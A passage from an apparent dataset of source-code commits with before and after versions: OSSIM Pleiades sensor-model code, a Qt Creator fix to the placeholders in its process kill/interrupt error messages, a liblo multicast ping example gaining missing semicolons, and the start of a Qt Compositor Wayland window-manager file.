theSupportData->getSampOffset();\n theLatOffset = theSupportData->getLatOffset();\n theLonOffset = theSupportData->getLonOffset();\n theHgtOffset = theSupportData->getHeightOffset();\n }\n\n \/\/ TODO MSD Check if this part is necessary\n _productXmlFile = DIMxmlFile;\n ossimSupportFilesList::instance()->add(_productXmlFile);\n\n \/\/ TODO MSD WARNING File with multi tiles are not well managed\n theSupportData->getImageRect(theImageClipRect);\n theSupportData->getImageSize(theImageSize);\n\n finishConstruction();\n clearErrorStatus();\n\n result = true;\n if (traceDebug())\n {\n ossimNotify(ossimNotifyLevel_DEBUG) << MODULE << \" exit status = \" << (result ? \"true\" : \"false\\n\") << std::endl;\n }\n\n \/*std::cout << \"---------------------------\" << std::endl;\n print(std::cout);\n std::cout << \"---------------------------\" << std::endl;*\/\n return result;\n }\n\n\/\/*************************************************************************************************\n\/\/! Collects common code among all parsers\n\/\/*************************************************************************************************\n void ossimPleiadesModel::finishConstruction()\n {\n theImageSize.line = theImageClipRect.height();\n theImageSize.samp = theImageClipRect.width();\n theRefImgPt.line = theImageClipRect.midPoint().y;\n theRefImgPt.samp = theImageClipRect.midPoint().x;\n theRefGndPt.lat = theLatOffset;\n theRefGndPt.lon = theLonOffset;\n theRefGndPt.hgt = theHgtOffset;\n\n \/\/---\n \/\/ NOTE: We must call \"updateModel()\" to set parameter used by base\n \/\/ ossimRpcModel prior to calling lineSampleHeightToWorld or all\n \/\/ the world points will be same.\n \/\/---\n updateModel();\n\n ossimGpt v0, v1, v2, v3;\n lineSampleHeightToWorld(theImageClipRect.ul(), theHgtOffset, v0);\n lineSampleHeightToWorld(theImageClipRect.ur(), theHgtOffset, v1);\n lineSampleHeightToWorld(theImageClipRect.lr(), theHgtOffset, v2);\n lineSampleHeightToWorld(theImageClipRect.ll(), theHgtOffset, v3);\n\n theBoundGndPolygon = ossimPolygon (ossimDpt(v0), ossimDpt(v1), ossimDpt(v2), ossimDpt(v3));\n\n \/\/ Set the ground reference point using the model.\n lineSampleHeightToWorld(theRefImgPt, theHgtOffset, theRefGndPt);\n\n if( theGSD.hasNans() )\n {\n try\n {\n \/\/ This will set theGSD and theMeanGSD. Method throws ossimException.\n computeGsd();\n }\n catch (const ossimException& e)\n {\n ossimNotify(ossimNotifyLevel_WARN)\n << \"ossimPleiadesModel::finishConstruction -- caught exception:\\n\"\n << e.what() << std::endl;\n }\n }\n }\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2013 Digia Plc and\/or its subsidiary(-ies).\n** Contact: http:\/\/www.qt-project.org\/legal\n**\n** This file is part of Qt Creator.\n**\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Digia. For licensing terms and\n** conditions see http:\/\/qt.digia.com\/licensing. For further information\n** use the contact form at http:\/\/qt.digia.com\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Digia gives you certain additional\n** rights. These rights are described in the Digia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n****************************************************************************\/\n#include \"desktopprocesssignaloperation.h\"\n\n#include \"localprocesslist.h\"\n\n#include <utils\/winutils.h>\n\n#include <QCoreApplication>\n#include <QDir>\n\n#ifdef Q_OS_WIN\n#define _WIN32_WINNT 0x0502\n#include <windows.h>\n#ifndef PROCESS_SUSPEND_RESUME\n#define PROCESS_SUSPEND_RESUME 0x0800\n#endif \/\/ PROCESS_SUSPEND_RESUME\n#else \/\/ Q_OS_WIN\n#include <errno.h>\n#include <signal.h>\n#endif \/\/ else Q_OS_WIN\n\nnamespace ProjectExplorer {\n\nvoid DesktopProcessSignalOperation::killProcess(int pid)\n{\n killProcessSilently(pid);\n emit finished(m_errorMessage);\n}\n\nvoid DesktopProcessSignalOperation::killProcess(const QString &filePath)\n{\n m_errorMessage.clear();\n foreach (const DeviceProcessItem &process, Internal::LocalProcessList::getLocalProcesses()) {\n if (process.cmdLine == filePath)\n killProcessSilently(process.pid);\n }\n emit finished(m_errorMessage);\n}\n\nvoid DesktopProcessSignalOperation::interruptProcess(int pid)\n{\n m_errorMessage.clear();\n interruptProcessSilently(pid);\n emit finished(m_errorMessage);\n}\n\nvoid DesktopProcessSignalOperation::interruptProcess(const QString &filePath)\n{\n m_errorMessage.clear();\n foreach (const DeviceProcessItem &process, Internal::LocalProcessList::getLocalProcesses()) {\n if (process.cmdLine == filePath)\n interruptProcessSilently(process.pid);\n }\n emit finished(m_errorMessage);\n}\n\nvoid DesktopProcessSignalOperation::appendMsgCannotKill(int pid, const QString &why)\n{\n if (!m_errorMessage.isEmpty())\n m_errorMessage += QChar::fromLatin1('\\n');\n m_errorMessage += tr(\"Cannot kill process with pid %1: %3\").arg(pid).arg(why);\n m_errorMessage += QLatin1Char(' ');\n}\n\nvoid DesktopProcessSignalOperation::appendMsgCannotInterrupt(int pid, const QString &why)\n{\n if (!m_errorMessage.isEmpty())\n m_errorMessage += QChar::fromLatin1('\\n');\n m_errorMessage += tr(\"Cannot interrupt process with pid %1: %3\").arg(pid).arg(why);\n m_errorMessage += QLatin1Char(' ');\n}\n\nvoid DesktopProcessSignalOperation::killProcessSilently(int pid)\n{\n#ifdef Q_OS_WIN\n const DWORD rights = PROCESS_QUERY_INFORMATION|PROCESS_SET_INFORMATION\n |PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ\n |PROCESS_DUP_HANDLE|PROCESS_TERMINATE|PROCESS_CREATE_THREAD|PROCESS_SUSPEND_RESUME;\n if (const HANDLE handle = OpenProcess(rights, FALSE, pid)) {\n if (!TerminateProcess(handle, UINT(-1)))\n appendMsgCannotKill(pid, Utils::winErrorMessage(GetLastError()));\n CloseHandle(handle);\n } else {\n appendMsgCannotKill(pid, tr(\"Cannot open process.\"));\n }\n#else\n if (pid <= 0)\n appendMsgCannotKill(pid, tr(\"Invalid process id.\"));\n else if (kill(pid, SIGKILL))\n appendMsgCannotKill(pid, QString::fromLocal8Bit(strerror(errno)));\n#endif \/\/ Q_OS_WIN\n}\n\nvoid DesktopProcessSignalOperation::interruptProcessSilently(int pid)\n{\n#ifdef Q_OS_WIN\n \/*\n Windows 64 bit has a 32 bit subsystem (WOW64) which makes it possible to run a\n 32 bit application inside a 64 bit environment.\n When GDB is used DebugBreakProcess must be called from the same system (32\/64 bit) running\n the inferior. If CDB is used we could in theory break wow64 processes,\n but the break is actually a wow64 breakpoint. CDB is configured to ignore these\n breakpoints, because they also appear on module loading.\n Therefore we need helper executables (win(32\/64)interrupt.exe) on Windows 64 bit calling\n DebugBreakProcess from the correct system.\n\n DebugBreak matrix for windows\n\n Api = UseDebugBreakApi\n Win64 = UseWin64InterruptHelper\n Win32 = UseWin32InterruptHelper\n N\/A = This configuration is not possible\n\n | Windows 32bit | Windows 64bit\n | QtCreator 32bit | QtCreator 32bit | QtCreator 64bit\n | Inferior 32bit | Inferior 32bit | Inferior 64bit | Inferior 32bit | Inferior 64bit\n----------|-----------------|-----------------|-----------------|-----------------|----------------\nCDB 32bit | Api | Api | N\/A | Win32 | N\/A\n 64bit | N\/A | Win64 | Win64 | Api | Api\n----------|-----------------|-----------------|-----------------|-----------------|----------------\nGDB 32bit | Api | Api | N\/A | Win32 | N\/A\n 64bit | N\/A | N\/A | Win64 | N\/A | Api\n----------|-----------------|-----------------|-----------------|-----------------|----------------\n\n *\/\n HANDLE inferior = NULL;\n do {\n const DWORD rights = PROCESS_QUERY_INFORMATION|PROCESS_SET_INFORMATION\n |PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ\n |PROCESS_DUP_HANDLE|PROCESS_TERMINATE|PROCESS_CREATE_THREAD|PROCESS_SUSPEND_RESUME;\n inferior = OpenProcess(rights, FALSE, pid);\n if (inferior == NULL) {\n appendMsgCannotInterrupt(pid, tr(\"Cannot open process: %1\")\n + Utils::winErrorMessage(GetLastError()));\n break;\n }\n bool creatorIs64Bit = Utils::winIs64BitBinary(qApp->applicationFilePath());\n if (!Utils::winIs64BitSystem() ||\n m_specialInterrupt == NoSpecialInterrupt ||\n m_specialInterrupt == Win64Interrupt && creatorIs64Bit ||\n m_specialInterrupt == Win32Interrupt && !creatorIs64Bit) {\n if (!DebugBreakProcess(inferior)) {\n appendMsgCannotInterrupt(pid, tr(\"DebugBreakProcess failed:\")\n + QLatin1Char(' ') + Utils::winErrorMessage(GetLastError()));\n }\n } else if (m_specialInterrupt == Win32Interrupt || m_specialInterrupt == Win64Interrupt) {\n QString executable = QCoreApplication::applicationDirPath();\n executable += m_specialInterrupt == Win32Interrupt\n ? QLatin1String(\"\/win32interrupt.exe\")\n : QLatin1String(\"\/win64interrupt.exe\");\n if (!QFile::exists(executable)) {\n appendMsgCannotInterrupt(pid, tr( \"%1 does not exist. If you built Qt Creator \"\n \"yourself, check out http:\/\/qt.gitorious.org\/\"\n \"qt-creator\/binary-artifacts.\").\n arg(QDir::toNativeSeparators(executable)));\n }\n switch (QProcess::execute(executable, QStringList(QString::number(pid)))) {\n case -2:\n appendMsgCannotInterrupt(pid, tr(\n \"Cannot start %1. Check src\\\\tools\\\\win64interrupt\\\\win64interrupt.c \"\n \"for more information.\").arg(QDir::toNativeSeparators(executable)));\n break;\n case 0:\n break;\n default:\n appendMsgCannotInterrupt(pid, QDir::toNativeSeparators(executable)\n + QLatin1Char(' ') + tr(\"could not break the process.\"));\n break;\n }\n }\n } while (false);\n if (inferior != NULL)\n CloseHandle(inferior);\n#else\n if (pid <= 0)\n appendMsgCannotInterrupt(pid, tr(\"Invalid process id.\"));\n else if (kill(pid, SIGINT))\n appendMsgCannotInterrupt(pid, QString::fromLocal8Bit(strerror(errno)));\n#endif \/\/ Q_OS_WIN\n}\n\n} \/\/ namespace ProjectExplorer\n<commit_msg>ProjectExplorer: Fix message placeholders.<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2013 Digia Plc and\/or its subsidiary(-ies).\n** Contact: http:\/\/www.qt-project.org\/legal\n**\n** This file is part of Qt Creator.\n**\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Digia. For licensing terms and\n** conditions see http:\/\/qt.digia.com\/licensing. For further information\n** use the contact form at http:\/\/qt.digia.com\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Digia gives you certain additional\n** rights. These rights are described in the Digia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n****************************************************************************\/\n#include \"desktopprocesssignaloperation.h\"\n\n#include \"localprocesslist.h\"\n\n#include <utils\/winutils.h>\n\n#include <QCoreApplication>\n#include <QDir>\n\n#ifdef Q_OS_WIN\n#define _WIN32_WINNT 0x0502\n#include <windows.h>\n#ifndef PROCESS_SUSPEND_RESUME\n#define PROCESS_SUSPEND_RESUME 0x0800\n#endif \/\/ PROCESS_SUSPEND_RESUME\n#else \/\/ Q_OS_WIN\n#include <errno.h>\n#include <signal.h>\n#endif \/\/ else Q_OS_WIN\n\nnamespace ProjectExplorer {\n\nvoid DesktopProcessSignalOperation::killProcess(int pid)\n{\n killProcessSilently(pid);\n emit finished(m_errorMessage);\n}\n\nvoid DesktopProcessSignalOperation::killProcess(const QString &filePath)\n{\n m_errorMessage.clear();\n foreach (const DeviceProcessItem &process, Internal::LocalProcessList::getLocalProcesses()) {\n if (process.cmdLine == filePath)\n killProcessSilently(process.pid);\n }\n emit finished(m_errorMessage);\n}\n\nvoid DesktopProcessSignalOperation::interruptProcess(int pid)\n{\n m_errorMessage.clear();\n interruptProcessSilently(pid);\n emit finished(m_errorMessage);\n}\n\nvoid DesktopProcessSignalOperation::interruptProcess(const QString &filePath)\n{\n m_errorMessage.clear();\n foreach (const DeviceProcessItem &process, Internal::LocalProcessList::getLocalProcesses()) {\n if (process.cmdLine == filePath)\n interruptProcessSilently(process.pid);\n }\n emit finished(m_errorMessage);\n}\n\nvoid DesktopProcessSignalOperation::appendMsgCannotKill(int pid, const QString &why)\n{\n if (!m_errorMessage.isEmpty())\n m_errorMessage += QChar::fromLatin1('\\n');\n m_errorMessage += tr(\"Cannot kill process with pid %1: %2\").arg(pid).arg(why);\n m_errorMessage += QLatin1Char(' ');\n}\n\nvoid DesktopProcessSignalOperation::appendMsgCannotInterrupt(int pid, const QString &why)\n{\n if (!m_errorMessage.isEmpty())\n m_errorMessage += QChar::fromLatin1('\\n');\n m_errorMessage += tr(\"Cannot interrupt process with pid %1: %2\").arg(pid).arg(why);\n m_errorMessage += QLatin1Char(' ');\n}\n\nvoid DesktopProcessSignalOperation::killProcessSilently(int pid)\n{\n#ifdef Q_OS_WIN\n const DWORD rights = PROCESS_QUERY_INFORMATION|PROCESS_SET_INFORMATION\n |PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ\n |PROCESS_DUP_HANDLE|PROCESS_TERMINATE|PROCESS_CREATE_THREAD|PROCESS_SUSPEND_RESUME;\n if (const HANDLE handle = OpenProcess(rights, FALSE, pid)) {\n if (!TerminateProcess(handle, UINT(-1)))\n appendMsgCannotKill(pid, Utils::winErrorMessage(GetLastError()));\n CloseHandle(handle);\n } else {\n appendMsgCannotKill(pid, tr(\"Cannot open process.\"));\n }\n#else\n if (pid <= 0)\n appendMsgCannotKill(pid, tr(\"Invalid process id.\"));\n else if (kill(pid, SIGKILL))\n appendMsgCannotKill(pid, QString::fromLocal8Bit(strerror(errno)));\n#endif \/\/ Q_OS_WIN\n}\n\nvoid DesktopProcessSignalOperation::interruptProcessSilently(int pid)\n{\n#ifdef Q_OS_WIN\n \/*\n Windows 64 bit has a 32 bit subsystem (WOW64) which makes it possible to run a\n 32 bit application inside a 64 bit environment.\n When GDB is used DebugBreakProcess must be called from the same system (32\/64 bit) running\n the inferior. If CDB is used we could in theory break wow64 processes,\n but the break is actually a wow64 breakpoint. CDB is configured to ignore these\n breakpoints, because they also appear on module loading.\n Therefore we need helper executables (win(32\/64)interrupt.exe) on Windows 64 bit calling\n DebugBreakProcess from the correct system.\n\n DebugBreak matrix for windows\n\n Api = UseDebugBreakApi\n Win64 = UseWin64InterruptHelper\n Win32 = UseWin32InterruptHelper\n N\/A = This configuration is not possible\n\n | Windows 32bit | Windows 64bit\n | QtCreator 32bit | QtCreator 32bit | QtCreator 64bit\n | Inferior 32bit | Inferior 32bit | Inferior 64bit | Inferior 32bit | Inferior 64bit\n----------|-----------------|-----------------|-----------------|-----------------|----------------\nCDB 32bit | Api | Api | N\/A | Win32 | N\/A\n 64bit | N\/A | Win64 | Win64 | Api | Api\n----------|-----------------|-----------------|-----------------|-----------------|----------------\nGDB 32bit | Api | Api | N\/A | Win32 | N\/A\n 64bit | N\/A | N\/A | Win64 | N\/A | Api\n----------|-----------------|-----------------|-----------------|-----------------|----------------\n\n *\/\n HANDLE inferior = NULL;\n do {\n const DWORD rights = PROCESS_QUERY_INFORMATION|PROCESS_SET_INFORMATION\n |PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ\n |PROCESS_DUP_HANDLE|PROCESS_TERMINATE|PROCESS_CREATE_THREAD|PROCESS_SUSPEND_RESUME;\n inferior = OpenProcess(rights, FALSE, pid);\n if (inferior == NULL) {\n appendMsgCannotInterrupt(pid, tr(\"Cannot open process: %1\")\n + Utils::winErrorMessage(GetLastError()));\n break;\n }\n bool creatorIs64Bit = Utils::winIs64BitBinary(qApp->applicationFilePath());\n if (!Utils::winIs64BitSystem() ||\n m_specialInterrupt == NoSpecialInterrupt ||\n m_specialInterrupt == Win64Interrupt && creatorIs64Bit ||\n m_specialInterrupt == Win32Interrupt && !creatorIs64Bit) {\n if (!DebugBreakProcess(inferior)) {\n appendMsgCannotInterrupt(pid, tr(\"DebugBreakProcess failed:\")\n + QLatin1Char(' ') + Utils::winErrorMessage(GetLastError()));\n }\n } else if (m_specialInterrupt == Win32Interrupt || m_specialInterrupt == Win64Interrupt) {\n QString executable = QCoreApplication::applicationDirPath();\n executable += m_specialInterrupt == Win32Interrupt\n ? QLatin1String(\"\/win32interrupt.exe\")\n : QLatin1String(\"\/win64interrupt.exe\");\n if (!QFile::exists(executable)) {\n appendMsgCannotInterrupt(pid, tr( \"%1 does not exist. If you built Qt Creator \"\n \"yourself, check out http:\/\/qt.gitorious.org\/\"\n \"qt-creator\/binary-artifacts.\").\n arg(QDir::toNativeSeparators(executable)));\n }\n switch (QProcess::execute(executable, QStringList(QString::number(pid)))) {\n case -2:\n appendMsgCannotInterrupt(pid, tr(\n \"Cannot start %1. Check src\\\\tools\\\\win64interrupt\\\\win64interrupt.c \"\n \"for more information.\").arg(QDir::toNativeSeparators(executable)));\n break;\n case 0:\n break;\n default:\n appendMsgCannotInterrupt(pid, QDir::toNativeSeparators(executable)\n + QLatin1Char(' ') + tr(\"could not break the process.\"));\n break;\n }\n }\n } while (false);\n if (inferior != NULL)\n CloseHandle(inferior);\n#else\n if (pid <= 0)\n appendMsgCannotInterrupt(pid, tr(\"Invalid process id.\"));\n else if (kill(pid, SIGINT))\n appendMsgCannotInterrupt(pid, QString::fromLocal8Bit(strerror(errno)));\n#endif \/\/ Q_OS_WIN\n}\n\n} \/\/ namespace ProjectExplorer\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2004 Steve Harris, Uwe Koloska\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n *\n * $Id$\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <iostream>\n#include <vector>\n#include <cstring> \n#include <algorithm>\n\n#include \"lo\/lo.h\"\nusing namespace std;\n\nint done = 0;\n\nstruct member {\n int pid;\n string hostname;\n lo_timetag timetag;\n};\n\nvector<member> members;\n\nint memberCompare(member a, member b);\n\nvoid error(int num, const char *m, const char *path);\n\nint ping_handler(const char *path, const char *types, lo_arg ** argv,\n int argc, void *data, void *user_data);\n\nint quit_handler(const char *path, const char *types, lo_arg ** argv,\n int argc, void *data, void *user_data);\n\nint main()\n{\n \/* make address for multicast ip\n * pick a port number for you by passing NULL as the last argument *\/\n\n lo_address t = lo_address_new(\"224.0.0.1\", \"7770\");\n \/\/ lo_server multi = lo_server_new_multicast(\"drone\", \"7771\", error);\n \/* start a new server on port 7770 *\/\n lo_server_thread st = lo_server_thread_new_multicast(\"224.0.0.1\", \"7770\", error);\n\n \/* add method that will match the path \/foo\/bar, with two numbers, coerced\n * to float and int *\/\n lo_server_thread_add_method(st, \"\/ping\", \"is\", ping_handler, NULL);\n\n \/* add method that will match the path \/quit with no args *\/\n lo_server_thread_add_method(st, \"\/quit\", \"\", quit_handler, NULL);\n\n lo_server_thread_start(st);\n \n \n while (!done) {\n#ifdef WIN32\n Sleep(1);\n#else\n usleep(1500000);\n#endif\n char hostname[128] = \"\";\n\n gethostname(hostname, sizeof(hostname));\n \n int pid = getpid();\n \/\/ cerr << \"pid: \" << pid << \" || hostname : \" << hostname << endl;\n lo_send(t, \"\/ping\", \"is\", pid, hostname);\n }\n\n lo_server_thread_free(st);\n\n return 0;\n}\n\nint memberCompare(member a, member b)\n{\n int name = strcmp(a.hostname.c_str(), b.hostname.c_str());\n if(name != 0)\n {\n if (name == -1)\n {\n return 0\n }\n return 1\n }\n bool test = a.pid < b.pid;\n return a.pid < b.pid;\n};\n\nvoid error(int num, const char *msg, const char *path)\n{\n printf(\"liblo server error %d in path %s: %s\\n\", num, path, msg);\n fflush(stdout);\n}\n\n\/* catch any incoming messages and display them. returning 1 means that the\n * message has not been fully handled and the server should try other methods *\/\nint ping_handler(const char *path, const char *types, lo_arg ** argv,\n int argc, void *data, void *user_data)\n{\n member messageSender;\n messageSender.pid = argv[0]->i;\n char *address = (char *)argv[1];\n messageSender.hostname = address;\n \n lo_timetag_now(&messageSender.timetag);\n if(!std::binary_search(members.begin(), members.end(), messageSender, memberCompare))\n {\n members.push_back(messageSender);\n cerr << \"NEW NODE ~ PID: \" << messageSender.pid << \" || path : \" << messageSender.hostname << \" || timestamp : \" << messageSender.timetag.sec << endl;\n }\n \n fflush(stdout);\n\n return 0;\n}\n\nint quit_handler(const char *path, const char *types, lo_arg ** argv,\n int argc, void *data, void *user_data)\n{\n done = 1;\n printf(\"quiting\\n\\n\");\n fflush(stdout);\n\n return 0;\n}\n\n\/* vi:set ts=8 sts=4 sw=4: *\/\n<commit_msg>Forgot ;<commit_after>\/*\n * Copyright (C) 2004 Steve Harris, Uwe Koloska\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n *\n * $Id$\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <iostream>\n#include <vector>\n#include <cstring> \n#include <algorithm>\n\n#include \"lo\/lo.h\"\nusing namespace std;\n\nint done = 0;\n\nstruct member {\n int pid;\n string hostname;\n lo_timetag timetag;\n};\n\nvector<member> members;\n\nint memberCompare(member a, member b);\n\nvoid error(int num, const char *m, const char *path);\n\nint ping_handler(const char *path, const char *types, lo_arg ** argv,\n int argc, void *data, void *user_data);\n\nint quit_handler(const char *path, const char *types, lo_arg ** argv,\n int argc, void *data, void *user_data);\n\nint main()\n{\n \/* make address for multicast ip\n * pick a port number for you by passing NULL as the last argument *\/\n\n lo_address t = lo_address_new(\"224.0.0.1\", \"7770\");\n \/\/ lo_server multi = lo_server_new_multicast(\"drone\", \"7771\", error);\n \/* start a new server on port 7770 *\/\n lo_server_thread st = lo_server_thread_new_multicast(\"224.0.0.1\", \"7770\", error);\n\n \/* add method that will match the path \/foo\/bar, with two numbers, coerced\n * to float and int *\/\n lo_server_thread_add_method(st, \"\/ping\", \"is\", ping_handler, NULL);\n\n \/* add method that will match the path \/quit with no args *\/\n lo_server_thread_add_method(st, \"\/quit\", \"\", quit_handler, NULL);\n\n lo_server_thread_start(st);\n \n \n while (!done) {\n#ifdef WIN32\n Sleep(1);\n#else\n usleep(1500000);\n#endif\n char hostname[128] = \"\";\n\n gethostname(hostname, sizeof(hostname));\n \n int pid = getpid();\n \/\/ cerr << \"pid: \" << pid << \" || hostname : \" << hostname << endl;\n lo_send(t, \"\/ping\", \"is\", pid, hostname);\n }\n\n lo_server_thread_free(st);\n\n return 0;\n}\n\nint memberCompare(member a, member b)\n{\n int name = strcmp(a.hostname.c_str(), b.hostname.c_str());\n if(name != 0)\n {\n if (name == -1)\n {\n return 0;\n }\n return 1;\n }\n bool test = a.pid < b.pid;\n return a.pid < b.pid;\n};\n\nvoid error(int num, const char *msg, const char *path)\n{\n printf(\"liblo server error %d in path %s: %s\\n\", num, path, msg);\n fflush(stdout);\n}\n\n\/* catch any incoming messages and display them. returning 1 means that the\n * message has not been fully handled and the server should try other methods *\/\nint ping_handler(const char *path, const char *types, lo_arg ** argv,\n int argc, void *data, void *user_data)\n{\n member messageSender;\n messageSender.pid = argv[0]->i;\n char *address = (char *)argv[1];\n messageSender.hostname = address;\n \n lo_timetag_now(&messageSender.timetag);\n if(!std::binary_search(members.begin(), members.end(), messageSender, memberCompare))\n {\n members.push_back(messageSender);\n cerr << \"NEW NODE ~ PID: \" << messageSender.pid << \" || path : \" << messageSender.hostname << \" || timestamp : \" << messageSender.timetag.sec << endl;\n }\n \n fflush(stdout);\n\n return 0;\n}\n\nint quit_handler(const char *path, const char *types, lo_arg ** argv,\n int argc, void *data, void *user_data)\n{\n done = 1;\n printf(\"quiting\\n\\n\");\n fflush(stdout);\n\n return 0;\n}\n\n\/* vi:set ts=8 sts=4 sw=4: *\/\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2011 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the Qt Compositor.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"waylandwindowmanagerintegration.h\"\n\n#include \"waylandobject.h\"\n#include \"wayland_wrapper\/wldisplay.h\"\n#include \"wayland_wrapper\/wlcompositor.h\"\n\n#include \"wayland-server.h\"\n#include \"wayland-windowmanager-server-protocol.h\"\n\n#include <QtCore\/QDebug>\n\n\/\/ the protocol files are generated with wayland-scanner, in the following manner:\n\/\/ wayland-scanner client-header < windowmanager.xml > wayland-windowmanager-client-protocol.h\n\/\/ wayland-scanner server-header < windowmanager.xml > wayland-windowmanager-server-protocol.h\n\/\/ wayland-scanner code < windowmanager.xml > wayland-windowmanager-protocol.c\n\/\/\n\/\/ wayland-scanner can be found from wayland sources.\n\nclass WindowManagerObject : public Wayland::Object<struct wl_object>\n{\npublic:\n\n void mapClientToProcess(wl_client *client, uint32_t processId)\n {\n WindowManagerServerIntegration::instance()->mapClientToProcess(client, processId);\n }\n\n void authenticateWithToken(wl_client *client, const char *authenticationToken)\n {\n WindowManagerServerIntegration::instance()->authenticateWithToken(client, authenticationToken);\n }\n\n void changeScreenVisibility(wl_client *client, int visible)\n {\n WindowManagerServerIntegration::instance()->changeScreenVisibility(client, visible);\n }\n\n};\n\nvoid map_client_to_process(wl_client *client, struct wl_windowmanager *windowMgr, uint32_t processId)\n{\n reinterpret_cast<WindowManagerObject *>(windowMgr)->mapClientToProcess(client, processId);\n}\n\nvoid authenticate_with_token(wl_client *client, struct wl_windowmanager *windowMgr, const char *wl_authentication_token)\n{\n reinterpret_cast<WindowManagerObject *>(windowMgr)->authenticateWithToken(client, wl_authentication_token);\n}\n\nconst static struct wl_windowmanager_interface windowmanager_interface = {\n map_client_to_process,\n authenticate_with_token\n};\n\nWindowManagerServerIntegration *WindowManagerServerIntegration::m_instance = 0;\n\nWindowManagerServerIntegration::WindowManagerServerIntegration(QObject *parent)\n : QObject(parent)\n , m_orientationInDegrees(0)\n{\n m_instance = this;\n}\n\nvoid WindowManagerServerIntegration::initialize(Wayland::Display *waylandDisplay)\n{\n m_windowManagerObject = new WindowManagerObject();\n waylandDisplay->addGlobalObject(m_windowManagerObject->base(),\n &wl_windowmanager_interface, &windowmanager_interface, 0);\n}\n\nvoid WindowManagerServerIntegration::removeClient(wl_client *client)\n{\n WaylandManagedClient *managedClient = m_managedClients.take(client);\n delete managedClient;\n}\n\nvoid WindowManagerServerIntegration::mapClientToProcess(wl_client *client, uint32_t processId)\n{\n WaylandManagedClient *managedClient = m_managedClients.value(client, new WaylandManagedClient);\n managedClient->m_processId = processId;\n m_managedClients.insert(client, managedClient);\n}\n\nvoid WindowManagerServerIntegration::authenticateWithToken(wl_client *client, const char *token)\n{\n WaylandManagedClient *managedClient = m_managedClients.value(client, new WaylandManagedClient);\n managedClient->m_authenticationToken = QByteArray(token);\n m_managedClients.insert(client, managedClient);\n}\n\nvoid WindowManagerServerIntegration::changeScreenVisibility(wl_client *client, int visible)\n{\n m_managedClients[client]->m_isVisibleOnScreen = visible != 0;\n\n qDebug() << Q_FUNC_INFO << visible;\n wl_client_post_event(client, m_windowManagerObject->base(),\n WL_WINDOWMANAGER_CLIENT_ONSCREEN_VISIBILITY, visible);\n}\n\nvoid WindowManagerServerIntegration::updateOrientation(wl_client *client)\n{\n setScreenOrientation(client, m_orientationInDegrees);\n}\n\nvoid WindowManagerServerIntegration::setScreenOrientation(wl_client *client, qint32 orientationInDegrees)\n{\n m_orientationInDegrees = orientationInDegrees;\n wl_client_post_event(client, m_windowManagerObject->base(),\n WL_WINDOWMANAGER_SET_SCREEN_ROTATION, orientationInDegrees);\n}\n\nWaylandManagedClient *WindowManagerServerIntegration::managedClient(wl_client *client) 